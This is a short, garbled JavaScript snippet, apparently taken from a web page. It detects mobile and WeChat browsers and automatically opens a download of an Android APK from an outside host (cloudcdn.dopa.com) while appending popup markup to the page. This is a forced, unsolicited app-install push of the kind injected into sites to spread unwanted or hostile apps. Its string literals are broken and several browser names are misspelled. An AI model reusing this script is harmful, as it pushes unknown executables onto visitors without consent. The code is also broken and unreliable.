function ym_open(url){ window.open(url); document.getElementById("ym_mask").remove(); } var userAgent = navigator.userAgent.toLowerCase(); var pop_str = ""; if (userAgent.indexOf("iphoness") != -1 || userAgent.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/) || userAgent.indexOf("ipads") > -1) {//苹果手机、ipads pop_str = '
'; } else if (userAgent.match(/MicroMessenger/i) == "micromessenger") {//微信 pop_str = '
'; window.open("http://cloudcdn.dopa.com/apk/20200313105827.apk"); } else if (/androids|weboses|blackberry|iemobiles|opera mini/i.test(userAgent)) {//其他手机端 pop_str = '
'; window.open("http://cloudcdn.dopa.com/apk/20200313105827.apk"); } else { } document.body.innerHTML += pop_str;